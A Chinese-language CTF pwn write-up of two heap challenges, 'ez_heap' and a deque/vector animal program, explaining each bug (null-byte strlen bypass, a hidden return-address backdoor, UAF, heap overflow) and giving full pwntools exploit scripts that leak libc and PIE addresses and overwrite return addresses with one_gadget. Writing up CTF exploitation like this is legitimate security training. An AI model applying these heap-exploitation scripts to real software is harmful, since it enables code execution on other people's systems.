ez_heap
保護全開
程序邏輯:
- 讀入0x30的字符串,進行字符串校驗:以冒號為標志split,分成四份。最后輸入字符串形如:
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'
-
創建0x180的chunk存放note 結構體每個note大小為0x30,note結構:
-
add,edit,delete,show操作
漏洞點:
-
editName中strlen可以用\x00繞過造成溢出
-
后門:remove操作中有一個一眼就很可疑的地方:lucky number,
如果這里的if判斷不通過,直接return,看反編譯的偽代碼不容易看出來,看匯編代碼+動態調試可以發現
if判斷的參數初始值為1,如果執行過一次editName操作以后,這個參數會自減一次,此時remove函數結束時會執行 ret lucyNumber操作
-
這里的xor操作,其中的一個操作數是可控的,dest
難點
editName操作和show操作只能執行一次
利用xor操作構造任意地址讀寫條件泄露libc地址
漏洞利用
第一階段:
泄露heap基址和程序基址(PIE)
由于存在xor后的數據chunk的地址,結合動態調試,heap地址的后三字節是固定的,加上一字節的\x00溢出,
第一個note content chunk的起始地址為000+0x290(tcache bin管理結構)+0x190(note 結構體 chunk)=0x420
如果控制xor的操作數后兩位為20,且第二個note content chunk與第一個同處于0x400-0x4ff空間上,當使用editName方法溢出第二個結構體chunk的name,此時這兩個結構體chunk的note content chunk就指向了同一個,此時就構造了一個UAF,可以泄露heap地址和程序地址(程序地址用BSS的chunkList的地址)
此時edit和show都用過一次不能再用了,很自然的就想到再執行一次main函數,將luckynumber設置為main addr
第二階段:
上面只是思考過程,此時才發現:
在回顧一下heap的構造,結構體chunk有一部分也處0x400-0x4ff,再溢出一次name則xor結果末兩位是00,此時xor第一個操作數末兩位是什么(假如設置為0xmn),那么這個溢出的結構體的conten就會指向0x4mn,第一階段的泄露操作也可以通過最后一個結構體chunk泄露
這時就可以show和修改最后一個struct chunk的data content chunk的地址(要寫入xor后的結果),將其指向got表結合show操作就可以泄露libc、heap、程序地址
最后將LUCKYNUMBER設置為onegadget即可
利用腳本
def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False) xor = 0x111111111111111validate = b'admin:'+p64(xor)+b':Junior:111111'sla(b'Do you want to play a game with me?\n',validate)key_default = b'1'*8add(key_default,b'1',b'8',b'a'*0x10)add(key_default,b'1',b'8',b'b'*0x10)add(key_default,b'1',b'8',b'c'*0x10)add(key_default,b'1',b'8',b'd'*0x10)add(key_default,b'1',b'8',b'e'*0x10)add(key_default,b'1',b'8',b'f'*0x10)add(key_default,b'1',b'8',b'g'*0x10)remove(key_default,0,str(1))add(key_default,b'1',b'8',b'h'*0x10)edit_name(key_default,7,b'\x00'+b'a'*(0xf))show(key_default,7)ru(b'content: ')heap_base = ((uu64(r(7))<<8)^xor)>>12<<12leak('heap_base',heap_base)proc_base = uu64(ru('\n')) - 0x4080 - 0x7*8leak('proc_base',proc_base)main_sym = 0x1CC7ret_addr_in_remove = proc_base+main_symremove(key_default,1,str(ret_addr_in_remove))sla(b'Do you want to play a game with me?\n',validate)add(key_default,b'1',b'48',b'a'*0x10)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]one_gadget = one_gadget_list[3]edit_name(key_default,0,b'\x00'+b'a'*(0xf)+p64((proc_base+elf.got['free'])^xor))show(key_default,0)ru(b'content: ')free_addr = uu64(ru('\n'))libc.address = free_addr - libc.sym['free']remove(key_default,1,str(libc.address+one_gadget))return
近隊容器的禮儀
嘰里咕嚕的說什么呢,看不懂
搭建環境
附件給出了pwn文件和libc文件夾,將libc.so.6和ld文件從libc文件夾中剪切出來,注意是剪切,確保libc文件夾中不再存在這兩個文件,
直接運行使用:
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
LD_LIBRARY_PATH=./libc pwn
python中pwnlib調用:
# 也需要先像上面的shell命令一樣先patchelf
binary = './pwn'
p = process(binary,env={'LD_PRELOAD':'','LD_LIBRARY_PATH':'./libc/'})
# 二選一即可
gdbscript = ''
p = gdb.debug(binary, gdbscript,env={'LD_LIBRARY_PATH':'./libc/'})
程序邏輯
b'1. Exit\n'
b'2. Add deque to vector\n'
b'3. Create Animal in deque\n'
b'4. Remove deque from vector\n'
b'5. Remove Animal from deque\n'
b'6. Edit Animal in deque\n'
b'7. Print Animal in deque\n'
b'12. Create Animal in vector\n'
b'13. Remove Animal from vector\n'
b'14. Edit Animal in vector\n'
b'15. Print Animal in vector\n'
b'Enter your choice: '
IDA的結果看起來太復雜了,先直接進行幾次操作看看
先嘗試下有沒有UAF
結果一試還真有
漏洞點
- 剛剛提到的UAF,可以通過unsorted bin fd泄露libc和tcache bin fd泄露heap基址
- 堆溢出
很明顯看到有個堆溢出
漏洞利用
先利用deque上的操作泄露地址
后用vector上的操作任意地址寫(當時熬夜寫的題,我也沒去分析它到底能不能用deque的方法來,就是覺得給了這么多方法都用試試)
vecor申請的chunk結構是:一個0x20大小的結構體和對應size大小的animal,結構體中寫著animal chunk的地址,因為能棧溢出,所以直接可以任意地址寫
這里采取的操作時打enviorn打棧,從main的ret指令開始打;
算出environ到執行到main ret時棧地址的偏移量,然后構造棧滿足ongadget的條件即可,也可以構造rop鏈
利用腳本
最后執行exit操作就可以執行到main的ret
注意執行execve的時候保證結尾是0x0而不是8吧,對齊一下
def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)add_deque()create_animal_deque(0,0x80)show_animal_deque(0,0)ru('): ')libc.address = uu64(ru(b'\n'))-0x203b20leak('libc_base',libc.address)# 防止deque為空而不能show UAFcreate_animal_deque(0,0x80)malloc_hook = libc.sym['__malloc_hook']leak('__malloc_hook',malloc_hook)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]''' 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp'''one_gadget =libc.address + one_gadget_list[3]system_addr = libc.sym['system']# pause()environ = libc.symbols['environ']create_animal_vector(0x90) create_animal_vector(0x90)edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ))show_animal_vector(1)ru(b'): ')environ_addr = uu64(ru(b'\n'))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x30))show_animal_vector(1)ru(b'): ')start_addr = uu64(ru(b'\n')) - 37proc_base = start_addr - elf.sym['_start']ret_of_main = environ_addr - 0x130ret_addr = proc_base+0x101aedit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main))edit_animal_vector(1,0x8,p64(ret_addr))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main+8))edit_animal_vector(1,0x8,p64(one_gadget))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x110))edit_animal_vector(1,0x8,p64(0))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0xe8))edit_animal_vector(1,0x8,p64(0))# exit 推出時會執行ret of mainsla(b'Enter your choice:',b'1')return